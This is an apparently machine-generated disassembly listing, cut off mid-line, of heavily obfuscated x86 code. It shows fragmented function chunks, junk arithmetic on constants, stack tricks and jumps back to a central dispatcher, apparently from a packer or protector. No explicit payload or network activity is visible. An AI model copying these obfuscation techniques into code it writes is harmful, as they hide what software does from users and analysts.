--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_59987A: ; CODE XREF: sub_59FE51-5745j mov [esp+0], edx push eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59FE51 ; =============== S U B R O U T I N E ======================================= sub_599884 proc near ; CODE XREF: sub_59A9E9+1F71j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059C836 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059D79B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A3B84 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AA736 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005ABEC2 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005AE912 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AFCF4 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], edi jmp loc_59D79B sub_599884 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_599892: ; CODE XREF: sub_5AD795+1830j push esp mov ecx, [esp+8+var_8] add esp, 4 add ecx, 4 add ecx, 4 jmp loc_59AD11 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; =============== S U B R O U T I N E ======================================= sub_5998AD proc near ; DATA XREF: sdfs____:00598F80o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005999AB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059B36B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059B6E8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059FEEE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A5533 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 005A5E1A SIZE 0000000D BYTES mov ax, [esp+0] push 65B3h mov [esp+4+var_4], edi push 38AEh mov [esp+8+var_8], esp jmp loc_59B36B sub_5998AD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5998C6: ; CODE XREF: sub_5AA2D1-DB0Cj mov eax, [esp-8+arg_4] push ecx sub esp, 4 mov [esp+0], esp jmp loc_5A57B2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_5998D8: ; CODE XREF: sub_5AB08D+1Bj mov ebp, [esp+8+var_8] add esp, 4 push eax jmp loc_59E69E ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5998E4: ; CODE XREF: sub_59D6B8+51ADj inc edi jmp loc_5A5DC3 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5998EA: ; CODE XREF: sub_5AA2D1-39C8j sub al, ch push dword ptr [esp+0] jmp loc_5A6587 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5998F4: ; CODE XREF: sub_5A7BA0-5BF8j mov esp, [esp+0] dec word ptr [esp+0] pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE7B8 loc_599901: ; CODE XREF: sub_5AE7B8-13C5Bj pop [esp+4+var_4] mov esp, [esp+0] jmp loc_5A3F63 ; END OF FUNCTION CHUNK FOR sub_5AE7B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59990C: ; CODE XREF: sub_5992DA+CF35j inc ebx push ecx mov ecx, 454F318Eh and ebx, ecx pop ecx shr ebx, 5 xor ebx, 0FFDDB67Fh sub [edi+24h], ebx push [esp+18h+var_18] pop ebx sub esp, 4 mov [esp+1Ch+var_1C], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+1Ch+var_1C] pop esp ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_59993B proc near ; CODE XREF: sub_59FC02+877Cj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059A756 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059C2DB SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059DE0D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A3A64 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A525C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A5436 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A561F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A60CC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8A8E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9932 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005B038C SIZE 00000015 BYTES push ebx push eax push ecx mov ecx, 0FF25AFAh push esi mov esi, 77F93ECAh shr esi, 8 xor esi, 6BF33A33h jmp loc_5B038C sub_59993B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_599957: ; CODE XREF: sub_59F074-1482j xor [esp+0], eax jmp loc_59A9BC ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59995F: ; CODE XREF: sub_5AA2D1+AC1j mov ecx, esp add ecx, 4 jmp loc_59B5E8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_59996C: ; CODE XREF: sub_5AB08D-923Dj ; sdfs____:005A8F26j sub ebp, 32F4380Fh add ebp, ebx add ebp, 32F4380Fh pop ebx add ebp, esi sub ebp, 3BA4089Dh push [esp+8+var_8] mov esi, [esp+0Ch+var_C] jmp loc_59A890 ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- loc_59998E: ; CODE XREF: sdfs____:005AB3A1j add ebx, 4 jmp loc_5A1BD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_599999: ; CODE XREF: sub_59EE3E:loc_5A701Bj neg edx jmp loc_5A8766 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE4A9 loc_5999A0: ; CODE XREF: sub_5AE4A9-5D5Ej add ebp, 4 jmp loc_5A15AA ; END OF FUNCTION CHUNK FOR sub_5AE4A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5998AD loc_5999AB: ; CODE XREF: sub_5998AD+1AC5j mov edi, [esp+0Ch+var_C] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+10h+var_10] pop esp jmp loc_5A5E1A ; END OF FUNCTION CHUNK FOR sub_5998AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5999C3: ; CODE XREF: sub_5AF2D9-14902j mov ebx, 31356F47h xchg edx, ebx not edx push ebx push edx mov ebx, [esp+8+var_8] add esp, 4 pop edx neg ebx jnz loc_5A9B64 dec ebx jno loc_59FFF2 jz loc_5ABC8A mov ah, ch loc_5999EF: ; CODE XREF: sub_5A633D-2842j push esi push esp pop esi sub esp, 4 jmp loc_59C773 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- loc_5999FD: ; CODE XREF: sdfs____:0059A6D1j not eax jmp loc_5ABE91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599A04: ; CODE XREF: sub_5AA2D1-3DB2j push [esp+4+var_4] mov eax, [esp+8+var_8] jmp loc_59DAB3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_599A0F: ; CODE XREF: sub_5A577C+2j mov esi, 198014F0h jmp loc_59C27E ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_599A19: ; CODE XREF: sub_5A0AA2:loc_5A1BDDj and edx, 70D70C00h jmp loc_59A7AF ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_599A24: ; CODE XREF: sub_5AA810:loc_5A9F0Dj inc ecx sub ecx, 426B43E2h ja loc_5A94A2 jmp loc_5B0293 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- dec ecx mov ebp, ebx mov al, 6Eh ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599A3B: ; CODE XREF: sub_5AA2D1-FDFDj add esp, 4 jmp loc_5AB074 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_599A46: ; CODE XREF: sub_59FE51+33EEj pop esi add edi, ebx sub edi, 37883E29h pop ebx jmp loc_5A3114 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_599A55: ; CODE XREF: sub_5A3E64-572Dj xor ecx, 6A913608h push ebx jmp loc_59E44D ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_599A61 proc near ; CODE XREF: sub_5A2E28+44D5j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 0059934D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059A8DC SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0059CDF1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059EB44 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059F12E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059FE30 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A2416 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A2F7F SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005A31F5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A3686 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A39A0 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A5C6F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A675C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A722B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A75E0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A8771 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AB0BB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AB871 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AD4EB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005ADFE0 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 005AE3C7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AE6CC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AFE15 SIZE 0000001C BYTES push ebp mov ebp, esp add ebp, 4 jmp loc_5A2F7F sub_599A61 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_599A6F proc near ; DATA XREF: sdfs____:00598F6Co var_6 = word ptr -6 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599EBA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C419 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A159F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A3D81 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A44FE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AB3BF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AE5A0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005B00A2 SIZE 00000008 BYTES lodsb sub esp, 4 jmp loc_59C419 sub_599A6F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59961A loc_599A7B: ; CODE XREF: sub_59961A+C99j xor ecx, 4A1000B8h add ecx, 21F63D9Fh xor ecx, 352A72B8h add ecx, 14EC32EAh add esi, ecx pop ecx sub esi, 378E44DCh jmp loc_59DE8A ; END OF FUNCTION CHUNK FOR sub_59961A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2A15 loc_599AA1: ; CODE XREF: sub_5A2A15+14j add esp, 4 xchg ebp, [esp+4+var_4] mov esp, [esp+4+var_4] push ebx jmp loc_59A607 ; END OF FUNCTION CHUNK FOR sub_5A2A15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599AB3: ; CODE XREF: sub_5AA2D1-D23Dj sub ecx, 7F7C14F9h mov eax, ecx pop ecx jmp loc_5AA0CD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_599AC1: ; CODE XREF: sub_5A4D9D+B0F0j sub esi, 56711434h pop edi jmp loc_5A805A ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_599ACD: ; CODE XREF: sub_59BA35+3Fj shr esi, 6 sub esp, 4 mov [esp+0Ch+var_C], ebx sub esp, 4 mov [esp+10h+var_10], edi mov edi, 98DCA010h mov ebx, edi pop edi sub esi, ebx pop ebx not esi push ebp jmp loc_59B122 ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_599AEF: ; CODE XREF: sub_5A0AA2+62Cj mov ebx, 206E050Dh sub ebx, 7CD259EBh inc ebx inc ebx xor ebx, 9D31962Fh jmp loc_5A8288 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; =============== S U B R O U T I N E ======================================= sub_599B07 proc near ; CODE XREF: sdfs____:0059BD07j ; sub_5A477C+A480j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A26FE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A4A5C SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], eax push ecx pop eax jmp loc_5A26FE sub_599B07 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_599B14: ; CODE XREF: sub_5A4DFC-7674j xor [esp+0], ah push 7FC8h mov [esp+4+var_4], ebx mov bh, ah sub esp, 2 mov word ptr [esp+8+var_8], bx jmp loc_5A0F7F ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_599B30: ; CODE XREF: sub_5AD993-DA34j pop edx sub ebx, eax sub ebx, 4F0A4DABh jmp loc_5AB9D2 ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_599B3E: ; CODE XREF: sub_5A0924+837Aj mov esi, 5E901F7Ah sub esp, 4 mov [esp+8+var_8], eax mov eax, 47D1709Bh jmp loc_5A7F69 ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- loc_599B56: ; CODE XREF: sdfs____:005AF3A5j mov [esp], edx jmp loc_5A2249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_599B5E: ; CODE XREF: sub_59A7E7+E636j mov [esp+8+var_8], ebx jmp loc_5A61A0 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_599B66: ; CODE XREF: sub_5A2E28+339Ej sub esi, 470B5CBCh jmp loc_5AB676 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_599B71: ; CODE XREF: sub_5A0AA2+DCDCj add ebx, 2 xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] jmp loc_5A391E ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_599B82: ; CODE XREF: sub_5A600D-1247j xchg edi, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx jmp loc_59E7DA ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_599B8E: ; CODE XREF: sub_59D6B8+11ABEj pop ecx mov eax, edx mov edx, [esp+0] push ebx jmp loc_5A93C3 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_599B9A: ; CODE XREF: sub_5992DA+107B0j mov edi, [esp+18h+var_18] add esp, 4 jmp loc_5A2F44 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_599BA8: ; CODE XREF: sub_5A2E41+491Cj pop edx add eax, ebp push ebx mov ebx, 64867105h xor ebx, 32F6672Bh add ebx, 60DC10F8h sub ebx, 8567B5Eh dec ebx neg ebx xor ebx, 68483476h add eax, 17E35273h add eax, ebx sub eax, 17E35273h jmp loc_5A659F ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_599BDD: ; CODE XREF: sub_5A21A4+9j xor ebp, 0F894CB51h mov edx, ebp jmp loc_5A2FA8 ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_599BEA: ; CODE XREF: sub_59CBE1+AB60j pop esp xor edi, 6FDE1044h jmp loc_5AC490 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_599BF6: ; CODE XREF: sub_5992DA+66D6j mov esi, 7A5924F0h jmp loc_5AE02F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_599C00: ; CODE XREF: sub_59D6B8+30F6j add eax, edi jmp sub_5A580F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_599C07: ; CODE XREF: sub_5992DA+4A1Bj ; sdfs____:005A95D4j shr edx, 5 xor edx, 0AEE5233h sub esi, edx pop edx push 6E5Dh mov [esp+14h+var_14], ebx mov ebx, 326D64B2h inc ebx dec ebx sub esp, 4 mov [esp+18h+var_18], edx mov edx, 139C2B1Dh dec edx or edx, 2A07EDBh push ebx mov ebx, 97C314Bh jmp loc_5A150B ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_599C3F: ; CODE XREF: sdfs____:005ADE6Fj push edx jmp loc_59E13C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_599C45: ; CODE XREF: sub_5AD795-D706j push eax mov al, 0A4h push ecx mov cl, 0F6h xor cl, 1Fh shl cl, 7 dec cl xor cl, 0C9h or al, cl jmp loc_5AA25F ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_599C5D: ; CODE XREF: sub_5A4D9D-2780j xor esi, 17606663h xor esi, 0EAA92A34h push ebx jmp loc_59D117 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599C6F: ; CODE XREF: sub_5AA2D1+59CCj shr edx, 6 jp loc_5AF1AB sub edx, 0C1880FC6h mov ebx, edx mov edx, [esp+0] add esp, 4 push 205Fh mov [esp+0], ebp mov ebp, 50C574C4h jmp loc_5A4922 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_599C9B proc near ; CODE XREF: sub_5A0B5D-4E48j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059DB94 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A1703 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A507A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A9B37 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AA411 SIZE 00000007 BYTES push ebp push ebx jmp loc_5A507A sub_599C9B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599CC6 loc_599CA2: ; CODE XREF: sub_599CC6+155F6j xchg esi, [esp+0] pop esp jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599CC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_599CAB: ; CODE XREF: sub_5992DA:loc_5AEDB7j sub edx, 0A365839Ah push edx pop eax pop edx jmp loc_5A6524 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_599CB9: ; CODE XREF: sub_59EE3E+8DD8j add ecx, 409B2FFFh add ecx, edx jmp loc_5A99F6 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_599CC6 proc near ; CODE XREF: sub_59F3B6-5FF4j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00599CA2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059E20A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A0A8E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A235D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A5598 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AAB28 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AC890 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AF2A9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AFF2A SIZE 00000009 BYTES push ebx push eax jmp loc_5AFF2A sub_599CC6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599CCD: ; CODE XREF: sub_5AA2D1-10C80j pop edi xor ecx, [esp-10h+arg_C] jmp loc_5A2547 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_599CD6 proc near ; DATA XREF: sdfs____:00598F60o pop dword ptr [edi+40h] jmp loc_59910F sub_599CD6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_599CDE: ; CODE XREF: sub_59F4D2+2E29j add ebp, 77D012B9h and ebp, 20BE2767h sub ebp, 4F777CBFh jnb loc_5AB85C jmp loc_59B848 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_599CFB: ; CODE XREF: sub_59E94B:loc_59A8D7j ; sub_5AD84A-C3ECj and ecx, 79A75642h jmp loc_5AA097 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_599D06: ; CODE XREF: sub_5AC803-3B55j sub ch, 81h jmp loc_599211 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; =============== S U B R O U T I N E ======================================= sub_599D0E proc near ; CODE XREF: sub_59D6B8+359Dj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00599291 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059A262 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059A694 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059B389 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059C434 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059C4F3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059D8F5 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0059E08E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059EABA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059F33E SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005A0649 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A1B91 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A2564 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A2B53 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A3B10 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A55B2 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A608B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A729F SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A8EC5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A8FD8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AA12E SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005AD6B1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AD79B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ADEF0 SIZE 0000000A BYTES sub esp, 4 jmp loc_5A608B sub_599D0E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_599D16: ; CODE XREF: sub_5AB622+21j add [esp+0Ch+var_C], 4 mov edi, [esp+0Ch+var_C] add esp, 4 jmp loc_59D92E ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_599D28: ; CODE XREF: sub_5A7BA0-DBBCj ; sub_59BB73+137C4j mov ebx, [esp+4+var_4] add esp, 4 xchg edx, [esp+0] jmp loc_59A049 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- loc_599D39: ; CODE XREF: sdfs____:005A7C42j sub edx, ebx pop ebx add esi, edx jmp loc_59B1CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_599D43: ; CODE XREF: sub_5A913B-6626j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_599D48: ; CODE XREF: sub_5ABB65-2CF5j mov eax, esi jmp loc_5A2343 ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_599D4F: ; CODE XREF: sub_5A2E28+A129j mov eax, 1D6C1590h add eax, 66A2673Bh add eax, 0D4C6FAE6h push edi jmp loc_59E199 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8931 loc_599D64: ; CODE XREF: sub_59B95E+6510j ; sub_5A8931+6j push eax jmp loc_5A3E0E ; END OF FUNCTION CHUNK FOR sub_5A8931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A94C loc_599D6A: ; CODE XREF: sub_59A94C+4B9Ej mov ebp, [esp+0Ch+var_C] jmp sub_59F1C3 ; END OF FUNCTION CHUNK FOR sub_59A94C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_599D72: ; CODE XREF: sub_5AA810-AB14j add edx, 2 push 7BA7h jmp loc_5ABCD2 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_599D7F: ; CODE XREF: sub_5A6BBC-D976j ; sub_5992DA+124B1j mov ebx, [esp+8+var_8] push eax push esp pop eax jmp loc_5A8750 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599D8A: ; CODE XREF: sub_5AA2D1-DB14j push [esp-10h+arg_10] pop ebx jmp loc_59A4CD ; --------------------------------------------------------------------------- loc_599D94: ; CODE XREF: sub_5AA2D1+19A1j mov [esp-10h+arg_C], ebx jmp loc_5A5C44 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_599D9C: ; CODE XREF: sub_5996E4+920Ej xor esi, [esp+4+var_4] xor [esp+4+var_4], esi xor esi, [esp+4+var_4] pop esp jmp loc_5A6B99 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_599DAB: ; CODE XREF: sub_5AC803-95BDj mov ch, dl pop edx push [esp-4+arg_0] pop eax jmp loc_5A8AD3 ; END OF FUNCTION 